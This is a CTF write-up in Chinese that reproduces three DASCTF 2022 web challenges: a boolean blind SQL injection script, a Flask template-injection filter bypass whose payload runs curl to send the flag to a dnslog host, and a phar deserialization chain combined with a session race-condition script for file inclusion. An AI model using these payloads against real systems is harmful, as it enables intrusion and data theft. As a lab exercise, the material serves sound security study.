DASCTF2022.07赋能赛 WEB题目复现
其实7月时就想复现了,感觉题目质量挺高的,但奈何自己太菜看不懂就先搁置了。现在有能力回来填坑啦,但最后一题目前对自己理解起来还是有点难度,之后再研究研究。
DASCTF|2022DASCTF7月赋能赛官方Write Up
绝对防御
知识点
sql注入-布尔盲注
js路径查找
复现过程
进入题目查看源码,发现首页是一个静态图片,引用了许多js
我们通过JSfinder这个工具去查找相关的接口
找到一个php接口SUPERAPI.php,访问查看一下
查看源码可以看到前端对get传入的'id'参数进行了严格过滤
输入1或者2试了一下,会返回admin和flag
猜测这里是一个sql注入点,前端进行了过滤其实可以忽略,主要是后端的过滤
我们通过这样的payload进行fuzz测试,无过滤时返回admin,过滤时为空
?id=1 and 'if'='if'--+
fuzz脚本
f = open("sqlFuzz字典.txt", 'r')strs = f.readlines()print("--------- 过滤字符")for i in strs: if "'" in i: payload = f'1 and "{i}"="{i}"--+' else: payload = f"1 and '{i}'='{i}'--+" time.sleep(0.1) r = requests.get(url=url+payload).text if 'admin' not in r: print("--------- "+i)
大致过滤了以下字符
union, if, insert, update, sleep, benchmark, #, &
sleep,union过滤了,所以我们使用布尔盲注
盲注脚本
import requestsimport timeurl = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='str = ''for i in range(60): min,max = 32, 128 while True: j = min + (max-min)//2 if(min == j): str += chr(j) print(str) break # 爆表名 # payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+" # 爆列 # payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+" # # 爆值 payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+" r = requests.get(url=url+payload).text time.sleep(0.1) if(r'admin' in r): max = j else: min = j
获取flag
HardFlask
知识点
SSTI注入
复现过程
看到有输入框,并且具有一定功能,可以试着猜测为SSTI注入
尝试{{2*2}},发现被过滤
使用脚本fuzz一下
import requestsimport timeurl = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'f = open("fuzz_dict.txt", 'r')strs = f.readlines()print("--------- 过滤字符")for i in strs: if "'" in i: data = {'nickname':f"{i}"} else: data = {'nickname':f'{i}'} time.sleep(0.1) r = requests.post(url=url, data=data).text # print(r) if 'Hacker! restricted characters!' in r: print("--------- "+i)
大致过滤了一下字符
', }}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers
双引号还能用,所以下划线可以用attr加上unicode编码来绕过
{{用{%来替代
之前尝试了lipsum链或者未定义类似乎打不通
{{lipsum.__globals__['os'].popen('ls').read()}}
所以还是使用最常规的思路
{{"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}
通过脚本寻找含有popen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,不知道是环境问题还是什么)
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__for i in range(500): url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/" payload = { "nickname": '{%if(""|' + f'attr("{cl}")' + f'|attr("{ba}")' + f'|attr("{gi}")(0)' + f'|attr("{su}")()' + f'|attr("{gi}")(' + str(i) + f')|attr("{ii}")' + f'|attr("{go}")' + f'|attr("{gi}")' + f'("{po}"))' + '%}success' + '{%endif%}' } res = requests.post(url=url, headers=headers, data=payload) if 'success' in res.text: print(i)
应该print没有了,所以我们尝试外带,外带这里坑了我好久,试了bp的collaborator还有vps似乎都行不通,最后用dnslog外带可以成功
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'# curl `cat f*`..0rpfo7.dnslog.cni =132url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"payload = { "nickname": '{%if(""|' + f'attr("{cl}")' + f'|attr("{ba}")' + f'|attr("{gi}")(0)' + f'|attr("{su}")()' + f'|attr("{gi}")(' + str(i) + f')|attr("{ii}")' + f'|attr("{go}")' + f'|attr("{gi}")' + f'("{po}"))' + f'("{cmd}")' + '%}success' + '{%endif%}' }res = requests.post(url=url, headers=headers, data=payload)print(res.text)
获得flag
Ez to getflag
知识点
phar反序列化
session文件竞争
任意文件读取
文件包含
复现过程
非预期解
因为图片查看页没有禁掉flag,可以直接通过任意文件读取,获取根目录下的flag
预期解
通过图片查看进行读取upload.php,class.php,file.php的源码
先看一下class.php中upload类的上传逻辑
使用白名单过滤文件后缀,对文件内容进行了严格的过滤,看上去想上传一个PHP木马有些不太可能
保存文件名是上传的文件的文件名的md5值,所以文件我们是可知且可控的。
function file_check() { $allowed_types = array("png"); $temp = explode(".",$this->f["file"]["name"]); $extension = end($temp); if(empty($extension)) { echo "what are you uploaded? :0"; return false; } else{ if(in_array($extension,$allowed_types)) { $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i'; $f = file_get_contents($this->f["file"]["tmp_name"]); if(preg_match_all($filter,$f)){ echo 'what are you doing!! :C'; return false; } return true; } else { echo 'png onlyyy! XP'; return false; } }}function savefile() { $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname); } move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); echo "upload success! :D"; }
我们再来看看文件读取这块的逻辑,过滤许多伪协议,但没有过滤phar伪协议
我们可以通过file_get_contents函数搭配phar伪协议来触发反序列化链
public function show(){ if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) { die('illegal fname :P'); } else { echo file_get_contents($this->source); $class="lazy" data-src = "data:jpg;base64,".base64_encode(file_get_contents($this->source)); echo ""; }}
接下来就是试着找利用的反序列化链
我们可以通过Test类的__destruct方法作为起点,str可控并且它是打印str,所以可以找含有__toString的类
class Test{ public $str; public function __construct(){ $this->str="It's works"; } public function __destruct() { echo $this->str; }}
Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法
__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
function __toString(){ $cont = $this->fname; $size = $this->fsize; echo $cont->$size; return 'this_is_upload';}
Show类中含有__get方法,并且他调用了一个未知方法,这时我们可以试着寻找__call魔术方法
function __get($name){ $this->ok($name);}
通过Show类中的__call方法,我们可以调用backdoor方法
我们来看看backdoor方法是什么
public function __call($name, $arguments){ if(end($arguments)=='phpinfo'){ phpinfo(); }else{ $this->backdoor(end($arguments)); } return $name;}
backdoor方法进行了文件包含,$door我们可控,就是前面$size,可以改为我们想包含的文件名
public function backdoor($door){ include($door); echo "hacked!!";}
那这时候我们得想办法,如何向网站上传我们包含的文件,也思考可不可以通过日志包含,但在文件读取页尝试通过默认路径读取日志发现失败,可能路径已经被修改。
这时候开始考虑session文件竞争
构造pop链
str = $upload; $upload->fname=$show; $upload->fsize='/tmp/sess_Ki1ro'; // 生成phar文件 @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub(""); $phar->setMetadata($test); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();?>
通过gzip文件压缩,绕过内容检测,将后缀改为png,绕过后缀检测
再上传文件
现在开始写读取文件和上传session文件的双线程脚本
import threading, requestsfrom hashlib import md5url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'check = True# 触发phar文件反序列化去包含session上传进度文件def include(fileurl, s): global check while check: fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png' params = { 'f': 'phar://upload/' + fname } res = s.get(url=fileurl, params=params) if "working" in res.text: print(res.text) check = False# 利用session.upload.progress写入临时文件def sess_upload(uploadurl, s): global check while check: data = { 'PHP_SESSION_UPLOAD_PROGRESS': "" } cookies = { 'PHPSESSID': 'chaaa' } files = { 'file': ('chaaa.png', b'cha' * 300) } s.post(url=url, data=data, cookies=cookies, files=files)def exp(url): fileurl = url + 'file.php' uploadurl = url + 'upload.php' num = threading.active_count() # 上传phar文件 file = {'file': open('./shell.png', 'rb')} ret = requests.post(url=uploadurl, files=file) # 文件上传条件竞争getshell event = threading.Event() s1 = requests.Session() s2 = requests.Session() for i in range(1, 5): threading.Thread(target=sess_upload, args=(uploadurl, s1)).start() for i in range(1, 5): threading.Thread(target=include, args=(fileurl, s2,)).start() event.set() while threading.active_count() != num: passif __name__ == '__main__': exp(url) print('success')
获取flag
来源地址:https://blog.csdn.net/m0_62594265/article/details/126262027
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341